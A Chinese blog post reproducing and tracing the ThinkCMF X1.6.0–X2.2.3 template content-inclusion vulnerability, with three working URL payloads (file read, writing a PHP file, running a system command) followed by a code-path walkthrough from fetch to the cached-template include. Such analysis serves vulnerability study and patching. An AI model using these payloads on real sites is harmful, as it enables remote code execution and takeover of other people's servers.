简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

影响版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

ThinkCMF X2.2.3

复现环境

我这里下载的2.2.0版本,下载地址为:thinkcmfx2.2.0

安装过程就略过了

漏洞复现

0×01

payload: http://localhost/thinkcmfx220/?a=display&templateFile=README.md

0×02

payload:?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents('test.php','<?php phpinfo(); ?>')

上述请求发送后,会在thinkcmfx根目录生成test.php,我们访问一下:

0×03

payload:?a=fetch&content=<?php system('ping xxxxxx');?>

这种方式其实利用和pyload2一样,只不过是直接执行系统命令,我们可以用dnslog的方式检验结果,如下

说明命令成功执行

漏洞分析

漏洞分析我可能不会把每行代码的意思讲清楚,但是我会分享一些我在分析这个漏洞时使用的一些小方法

审计mvc架构的应用,第一步就是找到入口,然后顺着入口文件,跟着程序逻辑读下去,直到了解程序大体运作流程,知道基本路由规则(mvc架构的审计工作主要是集中在控制器)。前面的审计开始的前置工作我就不细说了,而且在分析一个漏洞的时候这些前置工作也不一定是必须的,如果你在知道一些信息的情况下,例如,你根据漏洞披露的一些信息已经知道哪个文件有问题了,就不需要再去研究路由了,我这次的分析就是在已知一些条件的情况下进行的,所以我就没有仔细去读路由规则,所以,你也可以看到我后面的分析很多都采用的是猜测以及全局搜索这种方式来确定利用点,当然我后面也大概看了下路由,大概跟到App::exec()方法里,就可以看到路由规则了,如下:

前面说了那么多废话…..首先我们看下入口文件index.php确定应用目录

我们到应用目录application里的controller看一下,根据路由或已知信息可以确定index.php的请求会被路由到indexcontroller.class.php的index()方法

这个方法也没啥,就是调用了个display显示了首页的内容。这些都不是问题的关键,关键的是thinkcmf是给予tinkphp再开发的,他有一些tp的特性,例如可以通过g\m\a参数指定分组\控制器\方法,这里可以通过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。我们自己自己在HomebaseController类中创建一个public属性的方法

public function test1(){
echo 'hello axin';
die();
}

然后访问http://localhost/thinkcmfx220/index.php?a=test1,结果如下

说明确实是可以访问到public属性的函数的,此次漏洞主要是利用HomebaseController的display以及fetch方法,因为pyaload已经公开,那么我们就拿payload3:?a=fetch&content=<?php system(‘ping xxxxxx’);?>进行分析,看一下fetch方法,如下:

payload中只是传了一个content参数,那么此时的$templateFile值为空,$content值为php代码,继续跟进父类的fetch方法,这里的父类跟踪直接跟到了Controller.class.php中

可见这里执行$this->view->fetch,我们继续跟进,这里的view就是View.class.php中的类的实例

我们主要关注的点是content变量,上面的代码有两个if…else语句,第一个很简单content不为空,所以执行else分支,第二个我们不能一眼判断出来,但是这里我们为了效率也就不去深究代码细节,我们只需要知道后面这个if….else语句到底是进入了哪个分支,所以,我们采用打印变量的方式,类似下面这样

if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
echo 33333333;
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
echo 444444444;
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}

这样当我们访问页面的时候,如果页面出现33333333,则表示进入了第一个分支,否则进入了第二个分支,但是如果跟着我的思路复现了的朋友可能会发现页面没有任何回显,这是因为这段代码前后分别调用了ob_start()与ob_get_clean()

这两个函数的配合会把我们的输出全部赋值给了$content变量,并不会直接输出到浏览器。所以,我们在分析的时候可以先注释掉这几句代码。然后根据页面输出我们就可以确定此处进入了else分支,分支里主要是执行了Hook::listen()函数,这个函数是tp里经常见的,以前我也不知道是干嘛的,这次我专门查了一下资料,这个Hook::listen函数就相当于是调用了一个提前注册好的类中的函数,函数默认是run函数,那么具体调用的是哪个类的run函数呢,这个就取决于传入的参数了,第一个参数是一个tag,这个tag是与一个类提前绑定的,第二个参数就是要传入run函数的参数啦。那么这个tag又是在哪里绑定到哪个类的呢?具体在哪个文件定义了映射我也不太清楚,所以,我直接采用全局搜索(phpstorm快捷键ctrl+shift+f)view_parse这个tag的方式,来寻找view_parse到底代表哪个类

可以看到整个项目中出现view_parse的文件不多,最后我们确定到common.php,并在其中找到了view_parse对应的类就是Behavior\ParseTemplateBehavior

既然都找到类了,那么就跟进去看一下啦,跟进发现里面确实有一个run函数,确定是他没错了

tips:这里跟踪文件也有个技巧,有时候在定位某个类位于哪个文件时,我们也可以采用全局搜索的方式,或者直接用类名搜索文件名(phpstorm快捷键,快速按两次shift)

又有if分支,为了效率我们同样可以用刚刚说的方法,判断到底进入了哪个分支,可以注意到我在上面打了很多断点,这个断点是为了标示出哪些行是我自己添加的,或者标示一些重要的逻辑处,方便我后面审计结束删除自己添加的代码,也可以防止中途离开再回来看代码遗忘重点这种情况的发生,总之算是一个小技巧吧。

我这里用我的打印调试法定位到,代码会运行到Storage::load()这里,我们跟进,在这里我们使用phpstorm直接go to这种方式发现phpstorm定位不到load函数的定义处,那么我们只有先定位Storage类,Storage类如下

发现Storage类里面根本就没有load方法,而且他也没有继承任何父类,那么load方法到底藏在哪里呢?这里就涉及到__callstatic这个模式方法啦,这个方法会在调用该类不存在的静态方法或变量时触发,所以,load方式是通过call_user_func_array函数调用的,那到底调用的哪里的load方法呀,这里有两种方式确定,一是老老实实看代码,搞清楚self::handler到底值为多少,第二种就是我采用的全局搜索的方法,我不想一行行看代码,直接全局搜索load(

出来的结果挺多的,但是我们根据之前调用时的参数,可以大体确定是上图中的其中一个,最后再结合自己的判断力或者都试一下确定是File.class.php(其实这里我是猜的23333,文件名更贴切嘛)中的load函数,跟进

结果发现,就只是引入了一个文件,我这就急眼了呀,我想这么就引入一个文件就完了呢,那我传入的content什么时候写入到这个文件的呀,我觉得我肯定是遗漏了什么东西,于是开始顺着这个文件找线索,看看到底哪里把传入的content写入了这个文件,还是用我们的打印调试法确定这个文件的路径在

/data/runtime/Cache/Portal/

然后文件名的命名规则可以从传给Storage::load函数的参数里确定

Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);

我采用了几种方法来定位到底哪里把content写入了文件,第一种方式就是全局搜索C(‘CACHE_PATH’).$_data['prefix'].md5($_content).C(‘TMPL_CACHFILE_SUFFIX’)

因为这是文件的命名规则,写入的时候肯定也是这个规则,但是结果失败了,只出现一条结果就是load这里,然后我就在想刚刚File.class.php里面有load函数,那么应该也有写入函数(set,write之类的),结果一看果然有!

那我不得全局搜索一波嘛,在我搜索put的时候有所发现,再根据/data/runtime/Cache/Portal/目录下生成的cache文件的文件名、文件内容、调用put函数时传入的实参命名、实参个数以及调用put函数的文件名等多个数据参考,以及失措过后,觉得Template.class.php文件这一处put函数的调用极有可能就是了,这里的loadTemplate函数里有调用put函数的操作,反推,loadTemplate函数又在fetch函数里被调用了,然后我以为我之前跟代码的时候跟错了fetch,23333,回到ParseTemplateBehavior.class.php去确认

回到ParseTemplateBehavior.class.php中才发现这个被我忽视的else分支,这里不就调用了template的fetch方法吗,于是喜上眉梢,那么什么时候会进入else分支呢

这里我做了一个合_Mask理的猜测,就是传入的参数是之前没有传过的,那么就会进入else,否则进入if,然后我在else分支添加了一行echo 444444;然后请求?a=fetch&content=phpinfo(这个请求是之前没有发送过的)

果然页面打印处444444,说明进入了else分支,那么content的流向就很清晰了:

先是顺着上面的路径写入cache文件,最后调用Storage::load加载cache文件,最终导致代码执行。

啊~这一处的payload就先写到这吧,好久没写文章了,累死了~

Thinkcmf任意漏洞包含漏洞分析复现的更多相关文章

  1. ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现

    ThinkCMF X1.6.0-X2.2.3框架任意内容包含漏洞分析复现 一.ThinkCMF简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理系统框架,底层采用ThinkPHP3. ...

  2. ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)

    ThinkCMF框架任意内容包含漏洞分析复现 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用 ...

  3. [转]ThinkCMF框架任意内容包含漏洞分析复现

    0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以 ...

  4. ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)

    1.漏洞概述 攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的 2.影响版本 ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X ...

  5. ThinkCMF框架任意内容包含漏洞复现

    1. 漏洞概述 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建. 利用此漏洞无需任何权限情况下,构造恶意的url,可以向服务器写入任意内容的 ...

  6. ThinkCMF 框架上的任意内容包含漏洞

    0x01  背景 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建. ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者 ...

  7. phpmyadmin任意文件包含漏洞分析(含演示)

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  8. [CVE-2014-8959] phpmyadmin任意文件包含漏洞分析

    0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: ...

  9. [CMS]ThinkCMF框架存在任意内容包含漏洞

    原出处:https://www.freebuf.com/vuls/217586.html 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3 ...

随机推荐

  1. TortoiseGit 安装与配置

    2. TortoiseGit安装与配置 标签: TortoiseGit安装配置Windows 2014-12-01 15:25 135739人阅读 评论(10) 收藏 举报 .embody{ padd ...

  2. python脚本调用iftop 统计业务应用流量

    因公司服务器上部署应用较多,在有大并发访问.业务逻辑有问题的情况下反复互相调用或者有异常流量访问的时候,需要对业务应用进行故障定位,所以利用python调用iftop命令来获取应用进程流量,结合zab ...

  3. java 多线程小记

    /*java里面实现多线程一般有两种方式 * 1,继承Thread类,实现run方法 * 2,实现Runnable接口,实现run方法 * start方法可以新建一个线程,创建多线程必须调用此方法 * ...

  4. mapreduce程序执行过程

    1.客户端程序,设置作业相关的配置和计算输入分片信息,向RM获取一个JOBID,提交作业信息(分片)到以作业ID为目录下,通知APP——MASTER 2.APP——MASTER,读取指定目录下的作业信 ...

  5. 丰田开放混动专利后,真能PK赢纯电动汽车吗?

    特斯拉已成为美国汽车市场增速最快的厂商,且在中国建设工厂后又巩固了自身的地位:蔚来.小鹏等互联网造车企业迅速崛起,吸引着风投的强烈关注:全球范围内,纯电动汽车的销量节节攀升--从多个维度看,纯电动汽车 ...

  6. R语言 sample抽样函数

    Sample 函数用法: sample(x, size, replace = FALSE, prob = NULL) Arguments x - 可以是含有一个或多个元素的向量或只是一个正整数.x的长 ...

  7. 特约稿件 Java并发教程(Oracle官方资料)

      本文是Oracle官方的Java并发相关的教程,感谢并发编程网的翻译和投递. (关注ITeye官微,随时随地查看最新开发资讯.技术文章.) 计算机的使用者一直以为他们的计算机可以同时做很多事情.他 ...

  8. 「CSP-S」2019年第一届Day1游记+题解

    「CSP-S」2019年第一届Day1游记+题解 Day 1 7:30 A.M. 8:10 A.M. 8:30 A.M. T1 格雷码 题目 考场经历+思考(正解) 8:50 A.M. T2 括号树 ...

  9. Android问题:ScrollView默认位置不是最顶部最全解决方案

    描述: Scrollview里面嵌套了一个listview ,这是开发中最寻常的一种布局,遇到的问题是:在这个Scrollview页面默认的起始位置不是最顶部,而是listview的底部. 原因: 在 ...

  10. Linux CentOS7 VMware 相对和绝对路径、cd命令、mkdir/rmdir、rm命令——笔记

    一. 相对和绝对路径 绝对路径是从/(也被称为根目录)开始的,比如/usr.cd /root/ pwd 注:判断用户当前所处的位置 相对路径是以 . 或 .. 开始的 二.cd命令 cd 是进入到当前 ...